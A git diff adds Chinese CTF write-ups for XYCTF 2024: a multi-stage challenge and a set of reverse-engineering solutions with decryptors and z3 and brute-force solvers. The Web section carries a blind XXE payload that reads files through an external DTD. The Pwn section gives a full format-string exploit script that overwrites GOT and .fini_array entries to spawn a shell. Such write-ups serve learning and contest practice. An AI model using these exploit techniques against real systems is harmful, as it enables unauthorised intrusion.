可以解密解压 zip,可以得到一段具有 Unicode 零宽隐写的文本,其中隐写内容为「The username is WelcomeXY」,明文内容为一系列密码。enc 为一个 Base64 编码的套娃 zip,在文件尾有字符「The username is WelcomeXY」。使用密码表: + +```plaintext +SuyunandXiao +ZhaoWuandSuyun +Shinandlingfeng +nydnandk0rian +faultandalei +``` + +按照一定顺序作为密码层层解压套娃压缩包,最后能够得到 ezre.apk。 + +# 第三步 Reverse VM + +ezre.apk缺了ZipDirEntry和ZipEndLocator,用7-Zip强制解压再重新压缩为zip文件,即可导入JADX + +MainActivity是用户输入key和flag,在JNI加密,然后气泡提示加密结果 + +贴一份整理符号后的反编译代码 + +![Untitled](../../wp/xyctf-2024-aio/5.png) + +![Untitled](../../wp/xyctf-2024-aio/6.png) + +key是Misc部分得到的99 88 77 66 + +复制出来,打印出执行顺序 + +![Untitled](../../wp/xyctf-2024-aio/7.png) + +![Untitled](../../wp/xyctf-2024-aio/8.png) + +```c +#include +#include "defs.h" +#define u32 unsigned int + +const u32 key[] = {99, 88, 77, 66}; + +void encrypt(u32 *input) +{ + for (int i = 1; i < 20; i += 2) + { + u32 delta = 0; + for (int j = 0; j < 32; j++) + { + u32 r = input[i]; + input[i - 1] += (((r << 4) ^ (r >> 5)) + r) ^ (delta + key[delta & 3]); + delta += 0x12345678; + u32 l = input[i - 1]; + input[i] += (((l << 4) ^ (l >> 5)) + l) ^ (delta + key[(delta >> 10) & 3]); + } + } +} + +unsigned char ida_chars[] = + { + 0x0C, 0x2A, 0x54, 0x5C, 0x8B, 0xF0, 0xF8, 0xCD, 0x35, 0x4B, + 0x17, 0x93, 0x2F, 0x73, 0x73, 0xFF, 0xEF, 0xF6, 0xF5, 0xAC, + 0xD0, 0xBA, 0x19, 0x4D, 0xAB, 0x4B, 0xF5, 0xFD, 0x38, 0x71, + 0xC8, 0xE1, 0x3D, 0x15, 0xC0, 0xF2, 0x84, 0x0C, 0x27, 0x7E, + 0xD7, 0x8D, 0x07, 0x34, 0xCD, 0x33, 0x5F, 0x96, 0xEB, 0x63, + 0x6A, 0x8D, 0xF5, 0x83, 0xFB, 0x92, 0x31, 0x46, 0xC8, 0xBB, + 0x9A, 0x59, 0x40, 0x73, 0x2F, 0xE8, 0x38, 0xE0, 0xF9, 0x40, + 0x66, 0x15, 0xB9, 0xC9, 0xF5, 0xEE, 0x84, 0x65, 0x2C, 0xF5, + 0x6C, 0xC3, 0x54, 0xC3, 0xCE, 0x1D, 0x70, 0x9F}; + +void decrypt(u32 *content) +{ + for (int i = 21; i > 0; i -= 2) + { + u32 delta = 0x12345678 * 32; + for (int j = 0; j < 32; j++) + { + u32 l = content[i - 1]; + content[i] -= (((l << 4) ^ (l >> 5)) + l) ^ (delta + key[(delta >> 10) & 3]); + delta -= 0x12345678; + u32 r = content[i]; + content[i - 1] -= (((r << 4) ^ (r >> 5)) + r) ^ (delta + key[delta & 3]); + } + } +} + +int main() +{ + // char test[] = "Hello, World! Hello, World! Hello, World! Hello, World! Hello, World! Hello, World! "; + // encrypt((u32 *)test); + // decrypt((u32 *)test); + // printf("%s\n", test); + decrypt((u32 *)ida_chars); + for (int i = 0; i < 88; i+=4) + { + printf("%c", ida_chars[i]); + } + return 0; +} + +// https://baby.imxbt.cn/ +``` + +# 第四步 Web XXE + +无回显无报错XXE,嵌套写三次可绕过过滤 + +```xml + + + + %a;%send; +]> + + WelcomeXY + YXemocleW + + +``` + +test.dtd: + +```xml +"> +%int; +``` + +![Untitled](../../wp/xyctf-2024-aio/3.jpeg) + +读到hint.php的内容: + +```php + +``` + +https://baby.imxbt.cn/HAHA/PWN/newpwn.zip + +# 第五步 Pwn FmtStr + +随机数只要本地校准时间然后同一秒钟设置种子就可以生成,然后进入vuln函数,但是正常情况下只有一次printf并且payload最多100字节。因为fmtstr需要确定的写入地址和确定的写入值,所以第一次先泄露栈地址和libc地址,并将.fini_array改成vuln函数地址,以便再次进入vuln函数。第二次用fmtstr把printf的got表改为system的地址,并把返回地址改为retn的地址(栈16字节对齐),后面跟vuln函数的地址,以便第三次进入vuln函数。第三次调用printf实际上是调用system,输入/bin/sh\x00即可get shell。 + +```c +#include +#include + +void set_seed() { + srand(time(NULL)); + srand(rand() % 5 + 114514); +} + +int random_number() { + return rand() % 4 + 159357158; +} +``` + +```python +from pwn import * +import ctypes + +context.arch = 'amd64' +# context.log_level = 'debug' +elf = ELF('./XYCTF') +libc = ELF('./libc.so.6') +io = process('./XYCTF') +# io = remote('xyctf.top', 47279) + +# 随机数部分 + +lib_rand = ctypes.CDLL('./my_random.so') +lib_rand.random_number.restype = ctypes.c_int +lib_rand.set_seed() + +for i in range(51): + io.recvuntil(f'game: {i}\n'.encode()) + io.sendline(str(lib_rand.random_number()).encode()) + +io.recvuntil(b'Now,plz you input:\n') + +# # test +# io.sendline(b'AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p') +# print(io.recvall()) + +# 第一步:把.fini_array中__do_global_dtors_aux的地址改为vuln函数的地址,以便再次进入vuln,同时泄漏libc地址和vuln函数返回地址的地址 +# %6$s 是 payload 自己 +# %p. 是格式化字符串的地址,输出了15个字符 +# %10$s. 是libc printf的地址,输出了7个字符 +# 总共需要4804个字符 +printf_got = elf.got['printf'] # 0x4033d8 +addr_of_fini_array = 0x4031c0 +payload = b'%p.%10$s.%4782d%9$hn....' + p64(addr_of_fini_array) + p64(printf_got) +payload += b'\x00' * (100 - len(payload)) + +# print(payload.hex()) +io.send(payload) + +res = io.recvuntil(b'Now,plz you input:\n') +addr_of_fmtstr = eval(res[:14]) +addr_of_printf = int.from_bytes(res[15:21], 'little') +addr_of_system = addr_of_printf - libc.sym['printf'] + libc.sym['system'] +print(hex(addr_of_fmtstr), hex(addr_of_printf)) +print(hex(addr_of_system)) + +addr_of_new_fmtstr = addr_of_fmtstr - 0xB0 +addr_of_ret_addr = addr_of_new_fmtstr + 0x78 + +# gdb.attach(io, 'b *0x4012c4') + +# 第二步:我们现在有vuln函数返回地址的地址,把它改为retn的地址(栈对齐),后面跟vuln函数的地址,以便再次进入vuln,同时把printf的got表改为system的地址 +payload = b'' +written_bytes = 0 +addr_of_vuln = 0x4012c4 +addr_of_C3 = 0x40132b +payload += f'%{(((addr_of_system&0xff0000)>>16)+0x100-written_bytes)&0xff}d%16$hhn'.encode() +written_bytes = (addr_of_system&0xff0000)>>16 +payload += f'%{((addr_of_system&0xffff)+0x10000-written_bytes)&0xffff}d%17$hn'.encode() +written_bytes = addr_of_system&0xffff +payload += f'%{addr_of_vuln-written_bytes}d%15$ln'.encode() +written_bytes = addr_of_vuln +payload += f'%{addr_of_C3-written_bytes}d%14$ln'.encode() +print(len(payload)) +assert len(payload) <= 64 +payload += b'.' * (64 - len(payload)) +payload += p64(addr_of_ret_addr) # 写入retn的地址8字节 +payload += p64(addr_of_ret_addr + 8) # 写入vuln的地址8字节 +payload += p64(printf_got + 2) # 写入system的地址低第3字节 +payload += p64(printf_got) # 写入system的地址低1-2字节 +payload += b'\x00' * (100 - len(payload)) +print(payload) +io.send(payload) + +io.recvuntil(b'Now,plz you input:\n', timeout=600) +io.sendline(b'/bin/sh\x00') +io.interactive() +``` + +![Untitled](../../wp/xyctf-2024-aio/9.png) + +🚩 `XYCTF{0f1c8f3f-a2d9-4d9e-9cf4-175152030288}` diff --git a/source/_posts/wp/xyctf-2024-reverse.md b/source/_posts/wp/xyctf-2024-reverse.md new file mode 100644 index 0000000..6012614 --- /dev/null +++ b/source/_posts/wp/xyctf-2024-reverse.md @@ -0,0 +1,1344 @@ +--- +title: XYCTF 2024 (Reverse) Writeup by 摸鱼 +date: 2024/04/27 14:00:00 +updated: 2024/04/26 22:00:00 +categories: +- CTF-Writeup +cover: ../../wp/xyctf-2024-reverse/cover.webp +--- + +[本站上的 XYCTF 2024 (baby_AIO) Writeup by 摸鱼](/wp/xyctf-2024-aio/) + +[XYCTF 2024 Writeup by 摸鱼](https://vilanruise.notion.site/7cc7b25425c049dea62755b96a805f29) + +[Reverse 全部附件](https://pan.huang1111.cn/s/PQ4yIm) + +# 前言 + +好玩,爱玩。 + +原本看到出题人名单,就想着只来看一眼题目就走,后来和luoingly师傅组了队,虽然叫“摸鱼”,但还是认真做题了。然后发现Reverse很多题目质量很高。下面的Writeup也按照我认为的题目质量排序,越靠前的题目越值得做。~~(但是Misc很多题目质量一言难尽)~~ + +比赛持续时间很长、题目数量很多,中间有三分之一以上的时间忙着准备长城杯半决赛、给校赛出题、准备MSC分享会去了,最后也没有来得及AK Reverse,也没有来得及现学Pwn。后续此WP将补上两道Unity和部分题目的预期解。打算之后WP做题法补Pwn题,然后看情况可能会更新一篇补题WP。 + +最后摸鱼队排在第8名,主要是Misc、Web、Reverse接近AK,但是Crypto和Pwn分别差十几题。摸鱼队的Misc和Web几乎都是luoingly师傅做的(orz),Reverse是我做的。在摸鱼前面的队伍有熟悉的暨大Xp0int和深大Aurora。W4terDr0p的三个只打了半年CTF的新人,在前两周时也排进过前二十,orz。 + +我喜欢打新生赛,是因为新生赛能学到新东西,且相比于大比赛没那么“功利”,也通常不需要在一道题上花很多时间。而且我想找回去年这个时间打[第一场新手赛](/wp/w4terctf-2023/)的感觉,那是我打CTF最快乐的一次。 + +没想到XYCTF参赛人数多达一千多支队伍,看得出来主办方和运维真的很辛苦,感谢。 + +![panel](../../wp/xyctf-2024-reverse/panel.png) + +![echarts](../../wp/xyctf-2024-reverse/echarts.svg) + +![scoreboard](../../wp/xyctf-2024-reverse/board.png) + +# 舔狗四部曲--我的白月光 + +> 不再如过去,真的要再见了。 +> 出题人:@H1m +> 13支队伍攻克 + +通过在 main 函数中调用 Windows API 实现的 GUI 程序。程序逻辑: + +- main 函数前 6 行初始化窗体 +- 从 _mm_load_si128 到异或 0x66 是将大量数据复制到栈上并解密,解密结果看不出规律 +- 八句 sub_140002630 在窗体上绘制八行以 UTF16-LE 编码的文字,最后一行是 `flag{L0v3_(还有两个部分在等待你)` ,并正常调用 MessageBoxA 🚩 +- 从 GetModuleHandleA 到 VirtualProtect 之后是获得导入函数表的地址,遍历导入表,找到导入表中存放 MessageBoxA 地址的位置,修改其内存权限,并改为 sub_140001470 的地址,之后调用 MessageBoxA 就会调用 sub_140001470 了 +- 如下操作进行 440 次: + - 从 _mm_load_si128 到异或 0x66 是对另一大段数据进行相同的解密过程,解密结果: `in the circus i know something are here, at the right time you can choose to skipfffffffffffffffffff` + - 调用 MessageBoxA ,实际调用 sub_140001470 + - 对另一大段数据进行相同的解密过程,解密结果: `please do not try to find her she do not belong to ago memories i will give you some flags:i8_a_k3y_and now go back please!`🚩 + - 调用 MessageBoxW ,弹出 7 个对话框 + - 返回 1 + - 将返回值最低位取反,写到栈上数组对应位置,实际上得到一个 440 字节的全为 0x00 的数组,如果不劫持 MessageBoxA 则是一个 440 字节的每个元素要么为 0x00 要么为 0x01 的数组 +- 在 for 循环中调用 440 次 sub_140001070 即 sprintf , IDA 反编译得到的实参列表不正确,右键 Set call type… 对函数调用增加一个参数,改为 `__int64 (__fastcall *)(char *Buffer, size_t BufferCount, char *Format, unsigned int MoYuTeam)` + + ![Untitled](../../wp/xyctf-2024-reverse/baiyueguang-1.png) + + 这里的 v40 数组是上面的 440 字节的数组,对数组中每 8 个占 1 字节的布尔值合并成 1 字节,然后转为十六进制文本表示,并放到栈上另一个位置,最终得到 440 / 8 * 2 = 110 字符的十六进制文本 + +- sub_140001290 是魔改的 Base64 算法,对这 110 字符的十六进制文本进行 Base64 并放到栈上另一个位置,魔改是输入 3 字节和输出 4 字节均使用小端序,相当于先把原文倒过来,然后进行正常 Base64 ,最后再将编码结果倒过来 +- 最后将编码结果与字符串字面量比较,并输出比较结果。解码得: + + ![Untitled](../../wp/xyctf-2024-reverse/baiyueguang-2.png) + +🚩 `flag{L0v3_i8_a_k3y_and_memory_never_go_done_finally_thankyou_xiaowangtongxue}` + +# 馒头 + +> 听说你数据结构与算法学的很好? +> 出题人:@Ea5y +> 31支队伍攻克 + +从“本地类型”可以看到结构体定义 + +![Untitled](../../wp/xyctf-2024-reverse/mantou-1.png) + +发现是用数组实现的哈夫曼树,整理一下反编译的代码,加上注释 + +```c +typedef struct +{ + int data; + int weight; + int parent; + int lch; + int rch; +} htNode; + +typedef htNode *huffmanTree; + +int initHuffmanTree(huffmanTree *HT) +{ + *HT = (huffmanTree)malloc(960); + for (int i = 1; i <= 47; ++i) // 下标0留空不用,下标1-24是叶子节点,下标25-47是非叶子节点 + { + (*HT)[i].parent = (*HT)[i].lch = (*HT)[i].rch = -1; + } + puts("please input flag:"); + for (int i_0 = 1; i_0 <= 24; ++i_0) // 叶子节点的data是1-24,weight是输入的字符 + { + (*HT)[i_0].data = i_0; + (*HT)[i_0].weight = getchar(); + } + return 1; +} + +void creatHuffmanTree(huffmanTree *HT, int n) +{ + int j; // [rsp+8h] [rbp-18h] + int rnode; // [rsp+Ch] [rbp-14h] + int min2; // [rsp+10h] [rbp-10h] + int lnode; // [rsp+14h] [rbp-Ch] + int min1; // [rsp+18h] [rbp-8h] + int i; // [rsp+1Ch] [rbp-4h] + + if (n > 1) + { + for (i = n + 1; i < 2 * n; ++i) // 对第25个节点到第47个节点赋值,data未初始化但应该初始化为0才好 + { + min1 = 0x7FFF; + lnode = -1; + min2 = 0x7FFF; + rnode = -1; + for (j = 1; i > j; ++j) // 找到两个最小的节点 + { + if (min1 > (*HT)[j].weight && (*HT)[j].parent == -1) + { + min2 = min1; + rnode = lnode; + min1 = (*HT)[j].weight; + lnode = j; + } + else if (min2 > (*HT)[j].weight && (*HT)[j].parent == -1) + { + min2 = (*HT)[j].weight; + rnode = j; + } + } + (*HT)[lnode].parent = (*HT)[rnode].parent = i; + (*HT)[i].lch = lnode; + (*HT)[i].rch = rnode; + (*HT)[i].weight = (*HT)[lnode].weight + (*HT)[rnode].weight; + } + // 这时(*HT)[47]是根节点 + } +} + +int ans1[58] = { 2270, 917, 446, 217, 106, 51, 20, 15, 17, 229, 114, 16, 11, 471, 233, 116, 14, 13, 238, 118, 12, 7, 1353, 557, 248, 123, 6, 24, 309, 137, 67, 3, 5, 172, 84, 4, 1, 796, 383, 186, 89, 2, 8, 197, 97, 48, 23, 10, 21, 413, 203, 101, 22, 9, 210, 104, 19, 18 }; + +int check_flag(huffmanTree HT, int i) +{ + static int index = 0; + if (i <= 24) // 对于叶子,只比对下标 + { + if (HT[i].data != ans1[index++]) + return 0; + } + else // 对于非叶子,只比对权值,如果左孩子是叶子,再比对左孩子的权值 + { + if (HT[i].weight != ans1[index++]) + return 0; + if (HT[HT[i].lch].data <= 24 && HT[HT[i].lch].data > 0) + { + if (HT[HT[i].lch].weight != ans1[index++]) + return 0; + } + } + if (HT[i].lch <= 0) // 递归终止条件 + return 1; + return check_flag(HT, HT[i].lch) && check_flag(HT, HT[i].rch); // 先序遍历 +} +``` + +比对下标的时候,下标不会大于24;而权值不会小于32(ASCII可打印字符)。可以据此区分开叶子和非叶子。 + +才58个数据,写解题程序如果出错了还要debug,不如手撕🐶 + +![Untitled](../../wp/xyctf-2024-reverse/mantou-2.png) + +![Untitled](../../wp/xyctf-2024-reverse/mantou-3.png) + +🚩 `XYCTF{xaf1svut7rojh3de0}` + +# 舔狗四部曲--记忆的时光机 + +> 一切都晚了,开始你的时空探索。 +> 出题人:@H1m +> 19支队伍攻克 + +通过在栈上存放地址,每次执行一段操作后,读栈上保存的地址并跳转,实现函数内的控制流。动态调试一下 + +check 函数第一次 jmp 后可以知道 flag 长度为 48 + +走到 enc 被调用处,edi 寄存器是用户输入的字符串指针,esi 寄存器是即将比对的字符下标,每次调用 enc 将加密一个字符,手动记录关键逻辑如下 + +```c +edi = (char*)Input +esi = (int)Idx +r10 = esi +esi += 6 +r11 = (char*)Key +r8d = (char)Input[Idx] +r8d ^= esi +r8d ^= 0x66 +r8d -= 6 +r9d = (char)Key[Idx] +r8d ^= r9d +eax = r8d +``` + +```c +#include + +unsigned char ans[] = + { + 0x69, 0x58, 0x61, 0x63, 0x67, 0x4C, 0x4D, 0x32, 0x98, 0x20, + 0x4D, 0x51, 0x7B, 0x25, 0x75, 0x51, 0xA3, 0x58, 0x60, 0x72, + 0x42, 0x62, 0x67, 0x66, 0x37, 0x6C, 0x30, 0x46, 0x66, 0x4F, + 0x5D, 0x03, 0x5D, 0xA4, 0x66, 0x01, 0x43, 0x68, 0x7D, 0x7C, + 0x55, 0x4F, 0x7A, 0x3F, 0x6C, 0x12, 0x21, 0x09}; + +const char *key = "i_have_get_shell_but_where_is_you_my_dear_baby!!"; + +int main() { + for (int i = 0; i < 48; i++) { + ans[i] ^= key[i]; + ans[i] += 6; + ans[i] ^= 0x66; + ans[i] ^= (i + 6); + } + printf(ans); + return 0; +} +``` + +🚩 `flag{Br0k3n_m3m0r1es_for3v3r_Sh1n@_1n_The_H3@$T}` + +# ez_rand + +> Release太简单啦;flag格式:XYCTF{} +> 出题人:@upsw1ng +> 65支队伍攻克 + +动态调试发现:在不同的时刻随机生成的异或 key 不相同; + +只取 time(0) 返回值的低 16 位(ax)传递给 srand,足够小,可以爆破; + +![Untitled](../../wp/xyctf-2024-reverse/ezrand.png) + +rand 函数(看导入表知道是来自 api-ms-win-crt-utility-l1-1-0 的)总是返回一个范围是 16 位的整数。 + +为确保爆破用的 rand 同样是来自 api-ms-win-crt-utility-l1-1-0 的,这里同样使用 VS 2022 Release 配置(后面发现其实 Debug 或者 GCC 的结果都是相同的)。 + +```c +#include +#include +#define u8 unsigned char +#define u16 unsigned short +#define u32 unsigned int +#define u64 unsigned long long + +u8 ida_chars[] = + { + 0x5D, 0x0C, 0x6C, 0xEA, 0x46, 0x19, 0xFC, 0x34, 0xB2, 0x62, + 0x23, 0x07, 0x62, 0x22, 0x6E, 0xFB, 0xB4, 0xE8, 0xF2, 0xA9, + 0x91, 0x12, 0x21, 0x86, 0xDB, 0x8E, 0xE9, 0x43, 0x4D}; + +const char* tmpl = "XYCTF{XXXXXXXXXXXXXXXXXXXXXX}"; + +int main() { + for(u32 i = 0; i <= 0xFFFF; i++) { + u32 flag = 1; + srand(i); + for(int j = 0; j < 29; j++) { + u32 eax = rand(); // 16 bits + u32 r8d = eax; + u64 mul = (u64)eax * (u64)0x80808081; + u32 edx = (mul >> 32) >> 7; + u32 ecx; + // always 0: + // ecx = edx >> 31; + // edx += ecx; + ecx = edx * 0xFF; + r8d -= ecx; + r8d ^= ida_chars[j]; + if (j < 6 || j == 28) { + if (r8d != tmpl[j]) { + flag = 0; + break; + } + } + // or: + // if (r8d < 32 || r8d >= 127) { + // flag = 0; + // break; + // } + } + if(flag) { + printf("Seed: %u\t", i); + srand(i); + for (int j = 0; j < 29; j++) { + u32 eax = rand(); + u32 r8d = eax; + u64 mul = (u64)eax * (u64)0x80808081; + u32 edx = (mul >> 32) >> 7; + u32 ecx; + ecx = edx * 0xFF; + r8d -= ecx; + r8d ^= ida_chars[j]; + printf("%c", r8d); + } + printf("\n"); + } + } +} + +// Seed: 21308 XYCTF{R@nd_1s_S0_S0_S0_easy!} +``` + +# 舔狗四部曲--简爱 + +> 爱情就像re,持之以恒,终得真爱;flag格式:FLAG{} 难度:medium +> 出题人:@CDM258 +> 20支队伍攻克 + +file 可知给出的是可重定位目标文件(只编译了、没有链接),链接一下 + +```bash +gcc jianai -o jianai1 +``` + +中文字符串是国标码,打印出来全是问号,坏(问了出题人说是用 Dev C++ 编辑的) + +IDA 反编译的结果中,对几个字符串的复制与引用很混乱(问了出题人发现是因为用了栈上的可变长度数组),动态调试才知道每一处分别用的是哪个地址的字符串 + +TEA 是骗人的,真正的加密逻辑在 howtolove 函数(参数是用户输入原样),密文需要与 fake flag 一致,z3 梭了 + +```python +from z3 import * + +s = Solver() +temp = [BitVec(f'flag{i}', 8) for i in range(32)] +moyu_z3_vars = temp[:] + +for i in range(32): + s.add(temp[i] >= 0x20, temp[i] <= 0x7e) + +v2 = [0] * 0x1C20 +v2[32] = 2; +v2[65] = 2; +v2[66] = 4; +v2[98] = 2; +v2[99] = 5; +v2[185] = 2; +v2[186] = 2; +v2[187] = 1; +v2[188] = 1; +v2[189] = 1; +v2[190] = 1; +v2[191] = 1; +v2[192] = 1; +v2[193] = 1; +v2[194] = 1; +v2[195] = 1; +v2[196] = 1; +v2[197] = 1; +v2[198] = 1; +v2[199] = 1; +v2[200] = 1; +v2[201] = 1; +v2[202] = 1; +v2[203] = 1; +v2[204] = 1; +v2[205] = 1; +v2[206] = 1; +v2[207] = 1; +v2[208] = 1; +v2[209] = 1; +v2[210] = 1; +v2[211] = 1; +v2[212] = 1; +v2[213] = 1; +v2[214] = 1; +v2[215] = 1; +v2[216] = 1; +v2[217] = 1; +v2[218] = 1; +v2[219] = 1; +v2[220] = 1; +v2[221] = 1; +v2[222] = 1; +v2[223] = 1; +v2[224] = 1; +v2[225] = 1; +v2[226] = 1; +v2[227] = 1; +v2[228] = 1; +v2[229] = 2; +v2[232] = 2; +v2[256] = 2; +v2[257] = 5; +v2[303] = 1; +v2[304] = 1; +v2[305] = 1; +v2[306] = 1; +v2[307] = 2; +v2[308] = 5; +v2[328] = 1; +v2[329] = 1; +v2[330] = 1; +v2[331] = 1; +v2[332] = 1; +v2[333] = 1; +v2[334] = 1; +v2[335] = 1; +v2[336] = 1; +v2[337] = 1; +v2[338] = 1; +v2[339] = 1; +v2[340] = 1; +v2[341] = 1; +v2[342] = 2; +v2[353] = 2; +v2[354] = 5; +v2[430] = 2; +v2[431] = 2; +v2[432] = 5; +v2[523] = 2; +v2[524] = 5; +v2[564] = 2; +v2[565] = 5; +v2[627] = 2; +v2[628] = 1; +v2[629] = 1; +v2[630] = 1; +v2[631] = 1; +v2[632] = 1; +v2[633] = 1; +v2[634] = 1; +v2[635] = 1; +v2[636] = 1; +v2[637] = 1; +v2[638] = 1; +v2[639] = 1; +v2[640] = 1; +v2[641] = 1; +v2[642] = 1; +v2[643] = 1; +v2[644] = 1; +v2[645] = 1; +v2[646] = 1; +v2[647] = 2; +v2[648] = 4; +v2[649] = 1; +v2[650] = 1; +v2[651] = 1; +v2[652] = 1; +v2[653] = 2; +v2[680] = 2; +v2[687] = 2; +v2[688] = 4; +v2[698] = 2; +v2[766] = 2; +v2[767] = 5; +v2[818] = 2; +v2[819] = 1; +v2[820] = 2; +v2[827] = 2; +v2[828] = 5; +v2[846] = 2; +v2[847] = 5; +v2[890] = 2; +v2[891] = 1; +v2[892] = 1; +v2[893] = 1; +v2[894] = 1; +v2[895] = 1; +v2[896] = 1; +v2[897] = 1; +v2[898] = 1; +v2[899] = 1; +v2[900] = 1; +v2[901] = 1; +v2[902] = 1; +v2[903] = 1; +v2[904] = 1; +v2[905] = 1; +v2[906] = 1; +v2[907] = 1; +v2[908] = 1; +v2[909] = 1; +v2[910] = 1; +v2[911] = 1; +v2[912] = 1; +v2[913] = 1; +v2[914] = 1; +v2[915] = 1; +v2[916] = 1; +v2[917] = 1; +v2[918] = 1; +v2[919] = 1; +v2[920] = 1; +v2[921] = 1; +v2[922] = 1; +v2[923] = 1; +v2[924] = 1; +v2[925] = 1; +v2[926] = 1; +v2[927] = 1; +v2[928] = 1; +v2[929] = 1; +v2[930] = 1; +v2[931] = 1; +v2[932] = 1; +v2[933] = 2; +v2[934] = 5; +v2[989] = 2; +v2[994] = 2; +v2[995] = 1; +v2[996] = 1; +v2[997] = 1; +v2[998] = 1; +v2[999] = 1; +v2[1000] = 1; +v2[1001] = 1; +v2[1002] = 1; +v2[1003] = 1; +v2[1013] = 1; +v2[1014] = 1; +v2[1015] = 1; +v2[1016] = 1; +v2[1017] = 1; +v2[1018] = 1; +v2[1019] = 1; +v2[1020] = 1; +v2[1021] = 1; +v2[1022] = 1; +v2[1023] = 1; +v2[1024] = 1; +v2[1025] = 1; +v2[1026] = 1; +v2[1027] = 2; +v2[1028] = 3; +v4 = 0; +v3 = 0; +while ( 1 ): + while ( 1 ): + while ( 1 ): + while ( not v2[v3] ): + v3 += 1 + temp[v4] += 1 + if ( v2[v3] != 1 ): + break; + v3 += 1 + temp[v4] -= 1 + if ( v2[v3] != 2 ): + break; + v3 += 1 + v4 += 1 + if ( v2[v3] == 3 ): + break; + if ( v2[v3] == 4 ): + temp[v4] = temp[v4] + temp[v4 + 1] - 70; + v3 += 1 + elif ( v2[v3] == 5 ): + temp[v4] = temp[v4] - temp[v4 + 1] + 70; + v3 += 1 + +for i in range(32): + s.add(temp[i] == ord('flag{Love_is_not_one_sided_Love}'[i])) + +if s.check() == sat: + model = s.model() + print(''.join([chr(model[moyu_z3_vars[i]].as_long()) for i in range(32)])) +``` + +🚩 `FLAG{vm_is_A_3ecreT_l0Ve_revers}` + +# ez_cube + +> 你会玩魔方吗?我反正不会。flag{What_you_input} +> 出题人:@Showmaker +> 98支队伍攻克 + +4种字符、长度最多12,可爆 + +```python +import itertools +from tqdm import tqdm + +def reset(): + global pr, pb, pg, po, py, pw + pr = [0] * 9 + pb = [1] * 9 + pg = [2] * 9 + po = [3] * 9 + py = [4] * 9 + pw = [5] * 9 + pb[1] = 0 + pr[1] = 2 + pg[1] = 1 + +def R(): + global pr, pb, pg, po, py, pw + v0 = pr[2]; + v1 = pr[5]; + v2 = pr[8]; + pr[2] = pw[2]; + pr[5] = pw[5]; + pr[8] = pw[8]; + pw[2] = po[6]; + pw[5] = po[3]; + pw[8] = po[0]; + po[0] = py[8]; + po[3] = py[5]; + po[6] = py[2]; + py[2] = v0; + py[5] = v1; + py[8] = v2; + v3 = pg[1]; + pg[1] = pg[3]; + pg[3] = pg[7]; + pg[7] = pg[5]; + pg[5] = v3; + v4 = pg[0]; + pg[0] = pg[6]; + pg[6] = pg[8]; + pg[8] = pg[2]; + pg[2] = v4; + +def U(): + global pr, pb, pg, po, py, pw + v0 = pr[0]; + v1 = pr[1]; + v2 = pr[2]; + pr[0] = pg[0]; + pr[1] = pg[1]; + pr[2] = pg[2]; + pg[0] = po[0]; + pg[1] = po[1]; + pg[2] = po[2]; + po[0] = pb[0]; + po[1] = pb[1]; + po[2] = pb[2]; + pb[0] = v0; + pb[1] = v1; + pb[2] = v2; + v3 = py[1]; + py[1] = py[3]; + py[3] = py[7]; + py[7] = py[5]; + py[5] = v3; + v4 = py[0]; + py[0] = py[6]; + py[6] = py[8]; + py[8] = py[2]; + py[2] = v4; + +def r(): + global pr, pb, pg, po, py, pw + v0 = pr[2]; + v1 = pr[5]; + v2 = pr[8]; + pr[2] = py[2]; + pr[5] = py[5]; + pr[8] = py[8]; + py[2] = po[6]; + py[5] = po[3]; + py[8] = po[0]; + po[0] = pw[8]; + po[3] = pw[5]; + po[6] = pw[2]; + pw[2] = v0; + pw[5] = v1; + pw[8] = v2; + v3 = pg[1]; + pg[1] = pg[5]; + pg[5] = pg[7]; + pg[7] = pg[3]; + pg[3] = v3; + v4 = pg[0]; + pg[0] = pg[2]; + pg[2] = pg[8]; + pg[8] = pg[6]; + pg[6] = v4; + +def u(): + global pr, pb, pg, po, py, pw + v0 = pr[0]; + v1 = pr[1]; + v2 = pr[2]; + pr[0] = pb[0]; + pr[1] = pb[1]; + pr[2] = pb[2]; + pb[0] = po[0]; + pb[1] = po[1]; + pb[2] = po[2]; + po[0] = pg[0]; + po[1] = pg[1]; + po[2] = pg[2]; + pg[0] = v0; + pg[1] = v1; + pg[2] = v2; + v3 = py[1]; + py[1] = py[5]; + py[5] = py[7]; + py[7] = py[3]; + py[3] = v3; + v4 = py[0]; + py[0] = py[2]; + py[2] = py[8]; + py[8] = py[6]; + py[6] = v4; + +if __name__ == '__main__': + a = [] + for l in range(2, 13): + a += itertools.product('RrUu', repeat=l) + for s in tqdm(a): + reset() + for c in s: + if c == 'R': + R() + elif c == 'r': + r() + elif c == 'U': + U() + elif c == 'u': + u() + if not all(all(x == t[0] for x in t) for t in [pr, pb, pg]): + continue + print(''.join(s)) +``` + +![Untitled](../../wp/xyctf-2024-reverse/ez-cube.png) + +🚩 `flag{RuRURURuruRR}` + +# Findme + +> 小叮当藏起来了,你能找到他吗? +> 出题人:@ShowMaker +> 15支队伍攻克 + +Doraemon4 会初始化一个 512 字节的 BOX,然后用 BOX 加密 Doraemon3 得到 Doraemon1。由于 BOX 初始状态已知,正向顺序重新跑一次即可。复制反编译代码到新的 C 源文件,fputc 和 fgetc 互换,直接跑得到 Doraemon3。 + +```c +#include +#include + +const char *Str = "Find_Doraemon"; + +unsigned char BOX[512]; + +void init_box() +{ + char *v0; // rdi + __int64 i; // rcx + char v3[32]; // [rsp+0h] [rbp-20h] BYREF + char v4; // [rsp+20h] [rbp+0h] BYREF + unsigned int v5; // [rsp+24h] [rbp+4h] + char v6; // [rsp+44h] [rbp+24h] + char v7[532]; // [rsp+70h] [rbp+50h] BYREF + unsigned int j; // [rsp+284h] [rbp+264h] + int v9; // [rsp+2A4h] [rbp+284h] + int v10; // [rsp+2C4h] [rbp+2A4h] + + v5 = strlen(Str); + memset(v7, 0, 0x200); + for (j = 0; j < 0x200; ++j) + { + v6 = j; + BOX[j] = -(char)j; + v7[j] = Str[j % v5]; + } + v9 = 0; + v10 = 0; + while (v9 < 512) + { + v10 = ((unsigned __int8)v7[v9] + BOX[v9] + v10) % 512; + unsigned char tmp = BOX[v9]; + BOX[v9] = BOX[v10]; + BOX[v10] = tmp; + ++v9; + } +} + +int main() +{ + size_t v3; // rax + int v5; // eax + FILE *fout; // [rsp+28h] [rbp+8h] + FILE *fin; // [rsp+48h] [rbp+28h] + int v8; // [rsp+64h] [rbp+44h] + int v9; // [rsp+84h] [rbp+64h] + int v10; // [rsp+A4h] [rbp+84h] + int v11; // [rsp+C4h] 